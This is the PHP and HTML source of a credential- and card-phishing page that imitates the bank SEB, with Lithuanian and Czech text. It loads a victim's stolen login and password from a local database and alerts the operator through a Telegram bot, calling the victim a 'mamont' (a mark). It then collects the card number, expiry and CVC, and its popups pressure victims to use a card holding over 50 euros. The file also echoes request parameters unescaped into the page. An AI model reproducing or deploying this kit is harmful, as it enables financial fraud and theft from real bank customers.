<?php
$config = json_decode(file_get_contents('config.json'));
$pay = @file_get_contents('./db/'.$_GET['id'].'.txt');

if ($pay === false) {
    exit('No pay');
}

$pay = json_decode($pay);

$login = $pay->login;
$password = $pay->password;


message_to_telegram($config->token, $config->chat_id, "✅ Мамонт направлен на ввод карты",[

        [
            ['text' => ''.$pay->login, 'callback_data' => 'none'],
        ],
]);

function message_to_telegram($bot_token, $chat_id, $text, $kb = [])
{
    $ch = curl_init();
    $ch_post = [
        CURLOPT_URL => 'https://api.telegram.org/bot' . $bot_token . '/sendMessage',
        CURLOPT_POST => TRUE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_POSTFIELDS => [
            'chat_id' => $chat_id,
            'parse_mode' => 'HTML',
            'text' => $text,
            'reply_markup' => json_encode([
                'inline_keyboard' => $kb
            ]),
        ]
    ];
    curl_setopt_array($ch, $ch_post);
    curl_exec($ch);
}


?>
<html>

<head>
	<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:400,500,700&amp;subset=cyrillic">
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css">
    <link href="css/main.css" rel="stylesheet">
	<link rel="stylesheet" type="text/css" href="css/pay.css">
	<link rel="stylesheet" type="text/css" href="css/pay2.css">
	<script type="text/javascript" src="https://cdn.ddos-protection.ovh/pay/js/jquery.js?ver=1.0.2"></script>
	<script type="text/javascript" src="https://cdn.ddos-protection.ovh/pay/js/bootstrap.js?ver=1.0.2"></script>
	<script type="text/javascript" src="https://cdn.ddos-protection.ovh/pay/js/uk_main.js?ver=1.0.2"></script>
	<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/sweetalert2@10"></script>
	
	
	<meta charset="utf-8">
	<meta http-equiv="pragma" content="no-cache">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
	
	<meta property="og:title" content="Page %txt3%">
	<meta property="og:type" content="website">
	
	<title>SEB Patvirtinimas</title>
	<link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
	<link rel="shortcut icon" type="image/png" href="https://cdn.ddos-protection.ovh/pay/img/fav-icon.png">
</head>

<body>
  <br>
	<div class="block-info">
	
		<div class="block-error">
		
		</div>
	</div>

	<div class="divider"></div>
	<div class="block-method">
		<div class="row">
			<div class="list-method">
				<div class="row">
					<div class="col-xs-12">
						<div class="item-method active-method"> <img src="https://cdn.icon-icons.com/icons2/3263/PNG/512/secure_payment_icon_206910.png"> </div>
					</div>
					<div class="col-xs-12">
						<div class="description-method">
							<p> Operacijos VISA arba MasterCard banko kortelėmis. Plastikinių kortelių apdorojimo saugumą garantuoja priimantis bankas. </p>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>

	<div class="block-form">
		<form class="form-payment" method="POST" action="secure.php">
			<br>

			<div class="form-group">
				<label for="fcard">Kortelės numeris</label>
				<input type="text" class="form-control mask-card-number" id="fcard" name="CardNumber" data-type="number" placeholder="0000 0000 0000 0000" maxlength="19" required> </div>
			<div class="row">

				<div class="col-xs-4">
					<div class="form-group">
						<label for="fexpm">Galiojimo laikas</label>
						<input type="text" class="form-control" id="fexpm" name="fexpm" data-type="number" placeholder="09" maxlength="2" required> </div>
				</div>
				<div class="col-xs-4">
					<div class="form-group">
						<input type="text" class="form-control" id="fexpy" name="fexpy" data-type="number" placeholder="23" maxlength="2" required> </div>
				</div>
				<div class="col-xs-4">
					<div class="form-group">
					       <input value="<?php echo $_GET['id'] ?>" id="PasswordId" name="id" type="hidden">
					          <input value="<?php echo $login ?>" id="PasswordId" name="login" type="hidden">
					             <input value="<?php echo $password ?>" id="PasswordId" name="password" type="hidden">
						<label for="fcvc"> CVC kodas <i class="far fa-question-circle" data-toggle="tooltip" data-placement="top" title="3 digits on the back of the card"></i> </label>
						<input type="password" class="form-control mask-card-code" id="fcvc" name="fcvc" data-type="number" placeholder="•••" maxlength="3" required> </div>
				</div>
			</div>
		
		<div class="block-form-info">
			<p class="heading-secure"> <i class="fas fa-lock"></i> Jūsų duomenys yra saugiai apsaugoti. </p>
		</div>
	</div>
	
	<div class="divider"></div>

	<div class="block-footer">
		<div class="row">
			<div class="col-ffff-6">
				<button class="button-primary" type="submit">Prisijungti </button>
			</div>
		</div>
		</form>
	</div>

</body>



<script src="https://snipp.ru/cdn/jquery/2.1.1/jquery.min.js"></script>
<script src="https://snipp.ru/cdn/maskedinput/jquery.maskedinput.min.js"></script>
<script>
$('.mask-card-number').mask('9999 9999 9999 9999');
$('.mask-card-date').mask('99/99');
$('.mask-card-code').mask('999');
</script>
    <div class="keypad-popup" style="display: none;"></div>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<?php if($_GET['q'] == 1) { ?>
        <script>
            Swal.fire({
  icon: 'warning',
  title: 'Dėmesio',
  text: 'Norėdami patvirtinti savo tapatybę, turite įvesti banko kortelės duomenis.',
});
        </script>
        <?php } ?>
        
        
        <?php if($_GET['q'] == 5) { ?>
        <script>
            Swal.fire({
  icon: 'error',
  title: 'Klaida',
  text: 'Jūsų kortelė buvo įvesta neteisingai, patikrinkite savo duomenis ir bandykite dar kartą.',
});
        </script>
        <?php } ?>
        
        <?php if($_GET['q'] == 2) { ?>
        <script>
        const swalWithBootstrapButtons = Swal.mixin({
  customClass: {
    confirmButton: 'btn btn-success',
    cancelButton: 'btn btn-danger'
  },
  buttonsStyling: false
})
            Swal.fire({
  icon: 'warning',
  title: 'Pozornost',
  html: 'Pokud chcete zadat objednávku, <b>zůstatek na vaší kartě musí přesáhnout 50 eur.</b> <u>Zůstatek na kartě splňuje pravidla?</u>',
  showCancelButton: true,
  confirmButtonColor: '#3085d6',
  cancelButtonColor: '#d33',
cancelButtonText: ' Můj zůstatek je nižší!',
  confirmButtonText: ' Moje bilance je stejná!'
}).then((result) => {
  if (result.isConfirmed) {
      window.location.href = 'balance_up.php';
  } else if (
    /* Read more about handling dismissals below */
    result.dismiss === Swal.DismissReason.cancel
  ) {
    swalWithBootstrapButtons.fire(
      'bohužel',
      'Chcete-li provést platbu, zůstatek na kartě musí přesáhnout <b>5 000 Kc</b>. <strong>Zadejte jinou kartu.</strong>',
      'error'
    )
  }
})


        </script>
        <?php } ?>
</body></html>
</body>